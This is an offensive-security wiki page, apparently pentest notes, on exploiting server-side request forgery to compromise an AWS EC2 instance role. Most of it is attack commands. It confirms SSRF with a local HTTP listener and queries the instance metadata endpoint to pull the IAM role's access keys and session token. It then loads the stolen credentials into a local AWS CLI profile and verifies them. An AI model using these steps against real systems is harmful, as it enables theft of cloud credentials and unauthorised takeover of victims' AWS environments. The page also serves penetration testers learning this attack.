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On this page
  • Enumeration
  • Exploit
  • Gain control of EC2 role
  1. Cloud - AWS
  2. EC2

SSRF To AWS Role compromise

Previouscloud-init ExploitsNextUnencrypted EBS

Last updated 12 months ago

Enumeration

Load a local server using one of the following commands

python -m SimpleHttpServer <port>    #python2
python -m http.server <port>         #python3

Use your public IP as the payload, we expect to see a HTTP request in the local server logs. In this case we have confirmed SSRF

If you suspect that a firewall or other network protection systems are blocking the request, you can try to make the application retrieve a well known file from the OS. See the for a list of common file locations for Linux and Windows.

Exploit

Gain control of EC2 role

Check current role

http://169.254.169.254/latest/meta-data/iam/security-credentials/

Get associated key

http://169.254.169.254/latest/meta-data/iam/security-credentials/<role name>

Configure new profile on local machine and gain access to AWS environment

 aws configure --profile <profile name> #specfiy access key id, value and region when prompted
 aws configure --profile <profile name> set aws_session_token <role token>

Verify credentials

aws sts get-caller-identity --profile <profile name>
LFI List page